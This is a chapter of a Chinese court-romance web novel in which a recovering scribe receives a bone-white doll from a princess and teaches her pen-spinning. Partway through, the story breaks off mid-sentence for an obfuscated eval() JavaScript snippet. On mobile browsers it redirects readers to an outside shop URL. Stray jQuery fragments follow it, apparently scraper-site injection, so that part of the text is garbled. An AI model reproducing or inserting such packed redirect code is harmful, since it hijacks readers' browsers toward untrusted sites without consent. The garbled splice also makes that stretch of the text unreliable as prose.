14. 描骨
    薛适迷迷糊糊间醒来一次,感觉伤口附近火辣辣的痛,好像有人在给她施针。而床边坐了个人,看衣着似乎是救了她的少年。他一动不动地看着大夫手上的动作,神色有些凝重。

    她便也顺着少年的目光看了过去,只见布在她伤口周围的几根银针又粗又长,像是江湖门派的某种杀人暗器。暗红乌黑的血一点点流出,染深了针的颜色,薛适忍不住瑟缩了下。

    眼前忽地遮过一只手,挡住了她的视线。

    “别看,怪吓人的。”

    隔着稀疏的指缝,薛适得以窥见少年几分容颜。

    没了面具遮掩,显露出他原本清俊明朗的模样,一双眼轮廓温柔,但流转之间却带了几分张扬的邪气,亦狂亦温文。即便只狭于指缝细微的视线,不甚清晰,却也能叫人深迷。

    薛适看见他的目光投向自己,微皱着眉问她:“疼得睡不着?”

    她刚想开口,眼前忽地一暗,似有暖流熨帖过眼皮,一瞬间,光影尽熄。眼前遮着的手已彻底落下。

    “这样眼睛会舒服,能睡得快些。”

    “睡吧。”他轻声道。

    薛适眨了几下眼,就又昏昏沉沉地睡了过去。

    再次醒来时,薛适发现她已躺在皇后的蓬莱殿内。

    “终于醒了,可有觉得好些?”明皇后忙遣人去将凉了的汤药重新热过,“又是发烧,又是中毒,阿适,你吓死我了。”

    “娘娘别担心,我已经没事了。你看,我这不很快就醒过来了嘛。”

    “你都睡了好几天了,一直反反复复地烧,到今日才醒。”明皇后给她掖好被子,“袁敏达也是胡来,这次居然直接绑了五公主,害得你也被牵连,还伤得这么重。”

    “那……五公主怎么样了?皇上这次是怎么罚的袁将军?”

    “五公主还好,就是受了些惊吓。皇上这次罚了袁敏达禁足,还扣了他半年俸禄。”明皇后语重心长地道,“下次再遇到这种事,可不能以身试险了,你武功本就不好,还逞能。”

    “知道啦娘娘。”薛适拉着明皇后的手柔声道。

    看来宫里的传言和江岑许事先设计的一般无二。而袁敏达为了掩盖盒子的事,也只能选择吃下这个哑巴亏。

    薛适又躺了几天后,便回到了翰林院,刚一进门,就听到同僚们的道喜声。

    “恭喜薛待诏,官至四品!”

    薛适茫然不解:“嗯?”

    “是五公主特意向皇上请的旨,说你为了救她身受重伤,理应奖赏。”

    “这都是次要的,要我说,薛待诏果然不同凡人啊,五公主那狗看了都摇头的字,竟真被薛待诏教的如龙舞跃。”

    “为什么这么说?”薛适听得越来越懵,“难道……皇上已经去崇文馆查验过了?”

    “哦,你前几日养病不知道。倒不是查验,是五公主一回来就给皇上写了封道歉信。”有人回忆着,“我记得内容应该是‘都怪儿臣平日声色犬马,才会伤了袁将军那颗不堪一击的心,可落花有意流水无情,还请父皇多多劝诫袁将军悬崖勒马,回头是岸,不要再对儿臣执迷不悟,纠缠不休。袁将军伤心事小,害父皇跟着担心却是儿臣之过’。”

    说完,在场的人都想起了当时的场景,忍不住笑了起来。

    “虽然这几个成语用得实在不合适,但那字却是写得极好,皇上难得也被五公主逗笑了,所以应了五公主的请求,赏了薛待诏四品服色,而且这次不仅罚了袁将军禁足,还扣了他半年俸禄。”

    薛适只是听也能想象出江岑许挑着眼尾,不把任何人放在眼里的骄傲模样,不由也弯唇笑了笑。这人摆明了就是在皇上跟前故意气袁敏达的。

    薛适再次回到宣微殿时,江岑许又变回了平日倨傲的模样,仿佛山林间那个看着亲切不少的人只是一场遥远的梦。

    见薛适过来,江岑许轻飘飘地上下扫了她一眼:“薛待诏以后可以不用来了。”

    薛适微微诧异:“游目院的事……殿下不怀疑我了?”

    “哪来这么多问题。还是,”江岑许的目光缓缓在薛适身上游移,悠悠道,“薛待诏没做够本宫的面首,舍不得走?”

    “哈……”薛适尬笑了几声,忙不动声色地后退着步子,“承蒙殿下这段时间关照,臣先告退了!”

    “等一下。”薛适刚一转身,袖子便被身后的人拽住了。

    “薛待诏似乎忘了什么。”江岑许扯着她的衣袖,薛适只得连连倒着步子,又退回了原地。

    “不是说想要人骨玩偶么?”江岑许含笑的气息轻轻擦过她的耳畔,“本宫一向言而有信,绝不食言。”

    其实也可以言而无信,绝对食言的……

    “真的……要做吗?”

    薛适蔫蔫回头,却见江岑许的手上已托着个做好了的小玩偶,通体素白,别致可爱。

    那玩偶不过半个巴掌大,但却异常精巧,细节之处栩栩俱到。头上束着简单的发髻,额间一圈发带缠绕,手上还握了把小剑竖直向下刺去,但特别的地方在于剑柄处磨成的样式却是毛笔的笔尖。

    薛适顿时被吸引了目光,不由凑近了些:“这是……我?”

    原来五公主如此心灵手巧!薛适一时间忽略了这是用人骨磨成的,惊奇地围着玩偶左看几下右看几下。

    只是……

    为什么要把她的表情刻得这么草率呐,点点眼,圈圈嘴,看着傻乎乎的。

    “怎么,不满意?”江岑许将玩偶和没来得及还的仙鹤面具一同塞到薛适怀里,故作无奈地叹了声,“拂年还真是没用啊。”

    “这是……拂年的骨头?”薛适突然觉得眼前这个灵动可爱的“自己”顿时变得阴恻恻的,看着都狰狞了不少。

    “本宫只是想纪念一下薛待诏第一次杀人。”江岑许顽劣地笑了声,语气十分理所应当,“物尽其用,拂年也算死得不错。”

    “……”拂年真的不会被气活吗?

    但,江岑许的手艺是真的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12902535|135582||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    很好。

    薛适接过玩偶在江岑许眼前挥了挥,弯唇由衷地道:“多谢殿下,我很喜欢。”

    江岑许傲慢地点了点头,一副理应如此的模样:“算你有眼光。不过……”

    薛适一听这转折,顿时心跳一滞,这段时间以来那种战战兢兢的感觉,再次开始支配着她。

    “本宫刚刚说的是以后不用来了,可不包括今天。”

    江岑许顺手将那晚薛适掉在房门口的毛笔插回她的发间,临了还用力戳了下薛适束起的有些圆滚滚的发髻,语气不善地道:“薛待诏,做人要有始有终。”

    “啊……”

    这确实是她的错,刚刚太过高兴,一时忘了还有今日这最后一天。

    薛适再次戴上仙鹤面具,跟着江岑许坐回了平日练习书法的桌案前。

    “殿下有什么想学的吗?”

    “难道不应该是薛待诏有什么要教的么?”

    “如今殿下的字已经得到了皇上的赞赏,不如……”薛适盯着桌上的毛笔,忽然有了主意,“臣教殿下转笔吧!”

    说着,她随手拿起了一支就在指间转着:“殿下不开心的时候,觉得无聊的时候,在想事情的时候,都可以转来试试,时来运转嘛,一切就都会变好了。”

    “薛待诏还挺迷信。”江岑许虽嘴上不屑,但手上却也拿了支笔尝试转着。

    只不过她刚转两下,笔就“啪嗒”一声掉在了桌上,几次下来,都是一样的结果。

    薛适本以为江岑许会一气之下不学了,但她却依然不急不躁,颇有耐心地一遍遍转着,认真的像是在煎制一壶春茶。

    “殿下,你不能太用力。”薛适蹲下.身,伏在一旁纠正道。她轻轻掰开江岑许的食指和中指,重新将笔塞入其间,“稍微轻一点,不要在意笔的重量。然后……”她捏着笔端,慢慢晃动着笔身,“想象笔在指间是这样转动的,把它当成是手指的一部分,多练几次就好啦。”

    江岑许难得没说什么刻薄的话,面具之下她垂眸敛目,只是专注地盯着指间翻旋起落的毛笔,有时见指间的笔很久没掉,嘴角还会勾起浅浅的笑来,带着小小的得意。

    薛适在一旁看着,忽然心情有点复杂。以后不用再来宣微殿似乎没有想象的那么开心,可能江岑许好得算是她的“亲传弟子”,总归和崇文馆其他人不一样。

    ……

    薛适走后不久,萧乘风也来了宣微殿。

    “你前几日不是要白桦木吗,怕你不够用,我又找来了些,想着今日给你送来。不过,你怎么突然想要白桦木了?”

    “做玩偶。”江岑许言简意赅。

    “你在……戏弄我?”萧乘风有些不敢相信,“这么珍贵的白桦木,你居然用来做玩偶?你平日不都是随便捡几根柴木涂色的吗?就算是用来模拟兵法,也太奢侈了吧!”

    面对萧乘风的崩溃,江岑许却是不为所动,只淡然地笑了笑。

    “毕竟答应了别人,得诚心些。”